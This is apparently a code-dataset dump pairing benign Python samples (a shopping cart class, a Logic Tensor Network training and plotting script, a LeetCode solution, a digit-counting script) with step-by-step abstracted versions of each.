index
int64 0
10k
| blob_id
stringlengths 40
40
| code
stringlengths 13
1.2M
| steps
listlengths 1
578
| error
bool 2
classes |
|---|---|---|---|---|
9,900 |
58efaad41d02bb5dffbf71c478c7fad12af68e5b
|
# 自定义购物车项类
class CartItem():
def __init__(self, book, amount):
self.book = book
self.amount = int(amount)
# 自定义购物车
class Cart():
def __init__(self):
self.book_list = []
self.total = 0
self.save = 0
def total_price(self):
ele = 0
for i in self.book_list:
ele += i.book.book_dprice*i.amount
self.total = round(ele,2)
return self
def save_money(self):
befor_save = 0
for i in self.book_list:
befor_save += i.book.book_price*i.amount
self.save = round(befor_save - self.total,2)
print("节省",self.save)
return self
# 定义添加购物车
def add_books(self, book, amount):
# 判断图书已经在购物车项列表中
print("加入中")
for i in self.book_list:
if i.book == book:
i.amount += int(amount)
return self
self.book_list.append(CartItem(book, int(amount)))
print("加完了",self.book_list)
return self
def del_books(self, book):
print("删除中")
for i in self.book_list:
if i.book == book:
self.book_list.remove(i)
print("删完了", self.book_list)
return self
|
[
"# 自定义购物车项类\nclass CartItem():\n def __init__(self, book, amount):\n self.book = book\n self.amount = int(amount)\n\n# 自定义购物车\nclass Cart():\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice*i.amount\n self.total = round(ele,2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price*i.amount\n self.save = round(befor_save - self.total,2)\n print(\"节省\",self.save)\n return self\n # 定义添加购物车\n def add_books(self, book, amount):\n # 判断图书已经在购物车项列表中\n print(\"加入中\")\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print(\"加完了\",self.book_list)\n return self\n\n def del_books(self, book):\n print(\"删除中\")\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print(\"删完了\", self.book_list)\n return self",
"class CartItem:\n\n def __init__(self, book, amount):\n self.book = book\n self.amount = int(amount)\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price * i.amount\n self.save = round(befor_save - self.total, 2)\n print('节省', self.save)\n return self\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n",
"class CartItem:\n <function token>\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price * i.amount\n self.save = round(befor_save - self.total, 2)\n print('节省', self.save)\n return self\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n",
"<class token>\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price * i.amount\n self.save = round(befor_save - self.total, 2)\n print('节省', self.save)\n return self\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n",
"<class token>\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n",
"<class token>\n\n\nclass Cart:\n <function token>\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n",
"<class token>\n\n\nclass Cart:\n <function token>\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n <function token>\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n",
"<class token>\n\n\nclass Cart:\n <function token>\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n <function token>\n <function token>\n",
"<class token>\n\n\nclass Cart:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<class token>\n<class token>\n"
] | false |
9,901 |
3022cade3bfa36925bcbda8023e5cd98ed33d093
|
# coding: utf-8
# In[1]:
#coding:utf8
import matplotlib
import os
if 'DISPLAY' not in os.environ:
matplotlib.use('Agg')
else:
pass
import torch
import torch.nn as nn
from torch.autograd import Variable
import torch.optim as optim
from matplotlib import pyplot as plt
import seaborn as sns
from tqdm import tqdm
import copy
from utils import Predicate,Clause,KnowledgeBase, Propositional
from utils import load_knowledge_base,load_propositional
from models import LTN
import pickle
import numpy as np
import seaborn as sns
sns.set(style="white", context="talk")
# In[2]:
def get_accuracy(model,kb):
results=[]
for clause in kb.clauses:
o1,o2=model.forward(clause)
if o2.data.numpy()[0][0]>0.9:
results.append(1.0)
else:
results.append(0.0)
return sum(results)/len(kb.clauses)
# In[3]:
def test_model(model,kb1, kb2,filename):
kb_train=kb1.union(kb2)
optimizor=torch.optim.Adam(model.parameters(),lr=0.001)
mone=torch.FloatTensor([-1])
one=torch.FloatTensor([1])
average_prob=[]
averate_loss=[]
best_accuracy1=0.0
best_accuracy2=0.0
for i in tqdm(range(1000)):
optimizor.zero_grad()
total_probability=0.0
total_loss=0.0
for clause in kb_train.clauses:
loss,prob=model.forward(clause=clause)
loss.backward(one)
total_probability+=prob.data.numpy()[0]
total_loss+=loss.data.numpy()[0]
optimizor.step()
average_prob.append(total_probability/len(kb_train.clauses))
averate_loss.append(total_loss/len(kb_train.clauses))
accuracy1=get_accuracy(model,kb1)
accuracy2=get_accuracy(model,kb2)
if accuracy1+accuracy2>best_accuracy1+best_accuracy2:
best_accuracy1=accuracy1
best_accuracy2=accuracy2
pickle.dump((average_prob,averate_loss,best_accuracy1,best_accuracy2), open("./results/%s"%filename, "wb" ))
# In[4]:
kb1=load_knowledge_base('./facts1.txt')
kb2=load_knowledge_base('./facts2.txt')
propositionals=load_propositional('./knowledge.txt')
gkbs1=[]
for p in propositionals:
gkbs1.append(p.generate_knowledge_base('abcdefgh',change_weight=False))
gkb1=gkbs1[0]
for tkb in gkbs1[1:]:
gkb1=gkb1.union(tkb)
gkbs2=[]
for p in propositionals:
gkbs2.append(p.generate_knowledge_base('ijklmn',change_weight=False))
gkb2=gkbs2[0]
for tkb in gkbs2[1:]:
gkb2=gkb2.union(tkb)
gkbs3=[]
for p in propositionals:
gkbs3.append(p.generate_knowledge_base('abcdefgh',change_weight=True))
gkb3=gkbs3[0]
for tkb in gkbs3[1:]:
gkb3=gkb3.union(tkb)
gkbs4=[]
for p in propositionals:
gkbs4.append(p.generate_knowledge_base('ijklmn',change_weight=True))
gkb4=gkbs4[0]
for tkb in gkbs4[1:]:
gkb4=gkb4.union(tkb)
# In[5]:
emb_dim=50
# In[6]:
emb_dim_range=list(range(10,20,5))+list(range(20,101,20))
emb_dim_range=list(range(160,161,20))
# In[ ]:
for emb_dim in emb_dim_range:
test_model(
model=LTN(emb_dim,'abcdefghijklmn',[['S',1],['F',2],['C',1]], CLTN=True),
kb1=kb1.union(gkb3),
kb2=kb2.union(gkb4),
filename='LTN_Learn_emb_dim=%d.pkl'%(emb_dim)
)
# In[80]:
accuracys1=[]
accuracys2=[]
for emb_dim in emb_dim_range:
prob,loss,first,second=pickle.load(open('./results/LTN_Learn_emb_dim=%d.pkl'%(emb_dim),'rb'))
accuracys1.append(first)
accuracys2.append(second)
plt.plot(emb_dim_range,accuracys1,label='Group1')
plt.plot(emb_dim_range,accuracys2,label='Group2')
plt.legend()
plt.xlabel('Vector Length')
plt.ylabel('Accuracy')
plt.savefig('./Report/img/curve4.pdf')
plt.show()
|
[
"\n# coding: utf-8\n\n# In[1]:\n\n\n#coding:utf8\nimport matplotlib\nimport os\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom tqdm import tqdm\nimport copy\nfrom utils import Predicate,Clause,KnowledgeBase, Propositional\nfrom utils import load_knowledge_base,load_propositional\nfrom models import LTN\nimport pickle\nimport numpy as np\nimport seaborn as sns\nsns.set(style=\"white\", context=\"talk\")\n\n\n# In[2]:\n\n\ndef get_accuracy(model,kb):\n results=[]\n for clause in kb.clauses:\n o1,o2=model.forward(clause)\n if o2.data.numpy()[0][0]>0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n\n return sum(results)/len(kb.clauses)\n\n\n# In[3]:\n\n\ndef test_model(model,kb1, kb2,filename):\n kb_train=kb1.union(kb2)\n optimizor=torch.optim.Adam(model.parameters(),lr=0.001)\n mone=torch.FloatTensor([-1])\n one=torch.FloatTensor([1])\n average_prob=[]\n averate_loss=[]\n best_accuracy1=0.0\n best_accuracy2=0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability=0.0\n total_loss=0.0\n for clause in kb_train.clauses:\n loss,prob=model.forward(clause=clause)\n loss.backward(one)\n total_probability+=prob.data.numpy()[0]\n total_loss+=loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability/len(kb_train.clauses))\n averate_loss.append(total_loss/len(kb_train.clauses))\n accuracy1=get_accuracy(model,kb1)\n accuracy2=get_accuracy(model,kb2)\n if accuracy1+accuracy2>best_accuracy1+best_accuracy2:\n best_accuracy1=accuracy1\n best_accuracy2=accuracy2\n pickle.dump((average_prob,averate_loss,best_accuracy1,best_accuracy2), open(\"./results/%s\"%filename, \"wb\" ))\n\n\n# In[4]:\n\n\nkb1=load_knowledge_base('./facts1.txt')\nkb2=load_knowledge_base('./facts2.txt')\npropositionals=load_propositional('./knowledge.txt')\ngkbs1=[]\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh',change_weight=False))\ngkb1=gkbs1[0]\nfor tkb in gkbs1[1:]:\n gkb1=gkb1.union(tkb)\ngkbs2=[]\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn',change_weight=False))\ngkb2=gkbs2[0]\nfor tkb in gkbs2[1:]:\n gkb2=gkb2.union(tkb)\n\ngkbs3=[]\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh',change_weight=True))\ngkb3=gkbs3[0]\nfor tkb in gkbs3[1:]:\n gkb3=gkb3.union(tkb)\ngkbs4=[]\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn',change_weight=True))\ngkb4=gkbs4[0]\nfor tkb in gkbs4[1:]:\n gkb4=gkb4.union(tkb)\n\n\n# In[5]:\n\n\nemb_dim=50\n\n\n# In[6]:\n\n\nemb_dim_range=list(range(10,20,5))+list(range(20,101,20))\nemb_dim_range=list(range(160,161,20))\n\n\n# In[ ]:\n\n\nfor emb_dim in emb_dim_range:\n test_model(\n model=LTN(emb_dim,'abcdefghijklmn',[['S',1],['F',2],['C',1]], CLTN=True),\n kb1=kb1.union(gkb3),\n kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl'%(emb_dim)\n )\n\n\n# In[80]:\n\n\naccuracys1=[]\naccuracys2=[]\nfor emb_dim in emb_dim_range:\n prob,loss,first,second=pickle.load(open('./results/LTN_Learn_emb_dim=%d.pkl'%(emb_dim),'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range,accuracys1,label='Group1')\nplt.plot(emb_dim_range,accuracys2,label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n\n",
"import matplotlib\nimport os\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom tqdm import tqdm\nimport copy\nfrom utils import Predicate, Clause, KnowledgeBase, Propositional\nfrom utils import load_knowledge_base, load_propositional\nfrom models import LTN\nimport pickle\nimport numpy as np\nimport seaborn as sns\nsns.set(style='white', context='talk')\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\nkb1 = load_knowledge_base('./facts1.txt')\nkb2 = load_knowledge_base('./facts2.txt')\npropositionals = load_propositional('./knowledge.txt')\ngkbs1 = []\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))\ngkb1 = gkbs1[0]\nfor tkb in gkbs1[1:]:\n gkb1 = gkb1.union(tkb)\ngkbs2 = []\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))\ngkb2 = gkbs2[0]\nfor tkb in gkbs2[1:]:\n gkb2 = gkb2.union(tkb)\ngkbs3 = []\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))\ngkb3 = gkbs3[0]\nfor tkb in gkbs3[1:]:\n gkb3 = gkb3.union(tkb)\ngkbs4 = []\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))\ngkb4 = gkbs4[0]\nfor tkb in gkbs4[1:]:\n gkb4 = gkb4.union(tkb)\nemb_dim = 50\nemb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20))\nemb_dim_range = list(range(160, 161, 20))\nfor emb_dim in emb_dim_range:\n test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [\n 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)\naccuracys1 = []\naccuracys2 = []\nfor emb_dim in emb_dim_range:\n prob, loss, first, second = pickle.load(open(\n './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range, accuracys1, label='Group1')\nplt.plot(emb_dim_range, accuracys2, label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n",
"<import token>\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\n<import token>\nsns.set(style='white', context='talk')\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\nkb1 = load_knowledge_base('./facts1.txt')\nkb2 = load_knowledge_base('./facts2.txt')\npropositionals = load_propositional('./knowledge.txt')\ngkbs1 = []\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))\ngkb1 = gkbs1[0]\nfor tkb in gkbs1[1:]:\n gkb1 = gkb1.union(tkb)\ngkbs2 = []\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))\ngkb2 = gkbs2[0]\nfor tkb in gkbs2[1:]:\n gkb2 = gkb2.union(tkb)\ngkbs3 = []\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))\ngkb3 = gkbs3[0]\nfor tkb in gkbs3[1:]:\n gkb3 = gkb3.union(tkb)\ngkbs4 = []\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))\ngkb4 = gkbs4[0]\nfor tkb in gkbs4[1:]:\n gkb4 = gkb4.union(tkb)\nemb_dim = 50\nemb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20))\nemb_dim_range = list(range(160, 161, 20))\nfor emb_dim in emb_dim_range:\n test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [\n 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)\naccuracys1 = []\naccuracys2 = []\nfor emb_dim in emb_dim_range:\n prob, loss, first, second = pickle.load(open(\n './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range, accuracys1, label='Group1')\nplt.plot(emb_dim_range, accuracys2, label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n",
"<import token>\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\n<import token>\nsns.set(style='white', context='talk')\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\n<assignment token>\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))\n<assignment token>\nfor tkb in gkbs1[1:]:\n gkb1 = gkb1.union(tkb)\n<assignment token>\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))\n<assignment token>\nfor tkb in gkbs2[1:]:\n gkb2 = gkb2.union(tkb)\n<assignment token>\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))\n<assignment token>\nfor tkb in gkbs3[1:]:\n gkb3 = gkb3.union(tkb)\n<assignment token>\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))\n<assignment token>\nfor tkb in gkbs4[1:]:\n gkb4 = gkb4.union(tkb)\n<assignment token>\nfor emb_dim in emb_dim_range:\n test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [\n 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)\n<assignment token>\nfor emb_dim in emb_dim_range:\n prob, loss, first, second = pickle.load(open(\n './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range, accuracys1, label='Group1')\nplt.plot(emb_dim_range, accuracys2, label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n",
"<import token>\n<code token>\n<import token>\n<code token>\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<code token>\n<import token>\n<code token>\n<function token>\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<code token>\n<import token>\n<code token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,902 |
148b849ae43617dde8dbb0c949defa2f390ce5cd
|
class Solution(object):
def oddCells(self, m, n, indices):
"""
:type m: int
:type n: int
:type indices: List[List[int]]
:rtype: int
"""
indice_x_dict = {}
indice_y_dict = {}
for x, y in indices:
indice_x_dict[x] = indice_x_dict.get(x, 0) + 1
indice_y_dict[y] = indice_y_dict.get(y, 0) + 1
x_num = 0
y_num = 0
for key, item in indice_x_dict.items():
if item % 2 == 1:
x_num += 1
for key, item in indice_y_dict.items():
if item % 2 == 1:
y_num += 1
return x_num * n + y_num * m - x_num * y_num * 2
|
[
"class Solution(object):\n def oddCells(self, m, n, indices):\n \"\"\"\n :type m: int\n :type n: int\n :type indices: List[List[int]]\n :rtype: int\n \"\"\"\n indice_x_dict = {}\n indice_y_dict = {}\n for x, y in indices:\n indice_x_dict[x] = indice_x_dict.get(x, 0) + 1\n indice_y_dict[y] = indice_y_dict.get(y, 0) + 1\n x_num = 0\n y_num = 0\n for key, item in indice_x_dict.items():\n if item % 2 == 1:\n x_num += 1\n for key, item in indice_y_dict.items():\n if item % 2 == 1:\n y_num += 1\n return x_num * n + y_num * m - x_num * y_num * 2\n\n\n",
"class Solution(object):\n\n def oddCells(self, m, n, indices):\n \"\"\"\n :type m: int\n :type n: int\n :type indices: List[List[int]]\n :rtype: int\n \"\"\"\n indice_x_dict = {}\n indice_y_dict = {}\n for x, y in indices:\n indice_x_dict[x] = indice_x_dict.get(x, 0) + 1\n indice_y_dict[y] = indice_y_dict.get(y, 0) + 1\n x_num = 0\n y_num = 0\n for key, item in indice_x_dict.items():\n if item % 2 == 1:\n x_num += 1\n for key, item in indice_y_dict.items():\n if item % 2 == 1:\n y_num += 1\n return x_num * n + y_num * m - x_num * y_num * 2\n",
"class Solution(object):\n <function token>\n",
"<class token>\n"
] | false |
9,903 |
dabd835ff02f2adb01773fb7dd7099206cbae162
|
N=int(input())
S=input()
ans=0
for i in range(1000):
l=str(i).zfill(3);k=0
for j in range(N):
if S[j]==l[k]:
k+=1
if k==3:ans+=1;break
print(ans)
|
[
"N=int(input())\nS=input()\nans=0\nfor i in range(1000):\n l=str(i).zfill(3);k=0\n for j in range(N):\n if S[j]==l[k]:\n k+=1\n if k==3:ans+=1;break\nprint(ans)\n",
"N = int(input())\nS = input()\nans = 0\nfor i in range(1000):\n l = str(i).zfill(3)\n k = 0\n for j in range(N):\n if S[j] == l[k]:\n k += 1\n if k == 3:\n ans += 1\n break\nprint(ans)\n",
"<assignment token>\nfor i in range(1000):\n l = str(i).zfill(3)\n k = 0\n for j in range(N):\n if S[j] == l[k]:\n k += 1\n if k == 3:\n ans += 1\n break\nprint(ans)\n",
"<assignment token>\n<code token>\n"
] | false |
9,904 |
